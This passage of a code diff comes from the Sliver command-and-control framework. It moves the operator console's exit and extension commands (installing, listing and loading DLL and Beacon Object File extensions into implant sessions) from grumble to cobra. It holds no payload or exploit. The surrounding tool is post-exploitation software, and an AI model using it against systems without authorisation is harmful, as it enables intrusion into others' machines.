Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
package exit
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ExitCmd - Exit the console
|
||||
func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
fmt.Println("Exiting...")
|
||||
if con.IsServer {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
|
||||
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -21,19 +21,21 @@ package extensions
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
@@ -98,7 +100,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -113,13 +115,15 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
results = append(results, manifest.CommandName)
|
||||
results = append(results, manifest.Help)
|
||||
}
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
|
||||
})
|
||||
}
|
||||
@@ -241,5 +241,4 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -20,20 +20,21 @@ package extensions
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
extLocalPath := args[0]
|
||||
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
@@ -48,7 +49,7 @@ func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -73,12 +74,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
con.PrintErrorf("Error creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -89,13 +90,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
@@ -127,12 +127,12 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
con.PrintErrorf("Failed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -140,7 +140,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -151,7 +151,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -166,7 +166,7 @@ func installArtifact(extGzFilePath string, installPath string, artifactPath stri
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -21,20 +21,21 @@ package extensions
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -24,12 +24,18 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
appConsole "github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -38,8 +44,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -102,24 +106,26 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -169,60 +175,44 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
return
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: extCmd.CommandName,
|
||||
Short: helpMsg,
|
||||
Long: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
GroupID: consts.ExtensionHelpGroup,
|
||||
Annotations: makeCommandPlatformFilters(extCmd),
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
|
||||
// Flags
|
||||
f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
extensionCmd.Flags().AddFlagSet(f)
|
||||
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
|
||||
// Completions
|
||||
comps := carapace.Gen(extensionCmd)
|
||||
makeExtensionArgCompleter(extCmd, cmd, comps)
|
||||
|
||||
cmd.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -230,7 +220,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
// Try to find the extension in the loaded extensions
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
@@ -255,29 +245,29 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -288,23 +278,23 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
depBinData, err := os.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
return registerExtension(goos, depExt, depBinData, cmd, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var (
|
||||
err error
|
||||
extensionArgs []byte
|
||||
@@ -325,19 +315,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
ext, ok := loadedExtensions[cmd.Name()]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
|
||||
return
|
||||
}
|
||||
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
@@ -352,7 +342,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
@@ -361,20 +351,20 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extArgs := strings.Join(args, " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -401,62 +391,82 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
con.PrintInfof("Successfully executed %s", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
con.PrintErrorf(callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Parse BOF arguments from grumble
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
// If we don't have any positional words left to consume,
|
||||
// add the remaining required extension arguments in the
|
||||
// error message.
|
||||
if len(args) == 0 {
|
||||
if !arg.Optional {
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Else pop a word from the list
|
||||
word := args[0]
|
||||
args = args[1:]
|
||||
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
val, err := strconv.Atoi(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
val, err := strconv.Atoi(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
err = argsBuffer.AddString(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
err = argsBuffer.AddWString(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
data, err := os.ReadFile(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -466,6 +476,12 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Return if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -491,15 +507,89 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
func CmdExists(name string, cmd *cobra.Command) bool {
|
||||
for _, c := range cmd.Commands() {
|
||||
if name == c.Name() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
|
||||
func checkExtensionArgs(extCmd *ExtensionManifest) error {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
for _, arg := range extCmd.Arguments {
|
||||
switch arg.Type {
|
||||
case "int", "integer", "short":
|
||||
case "string", "wstring", "file":
|
||||
default:
|
||||
return fmt.Errorf("invalid argument type: %s", arg.Type)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
|
||||
func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var action carapace.Action
|
||||
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("extension data")
|
||||
}
|
||||
|
||||
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
|
||||
if arg.Optional {
|
||||
usage += " (optional)"
|
||||
}
|
||||
|
||||
actions = append(actions, action.Usage(usage))
|
||||
}
|
||||
|
||||
comps.PositionalCompletion(actions...)
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
for _, file := range extCmd.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
}
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
appConsole.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
@@ -25,15 +25,16 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
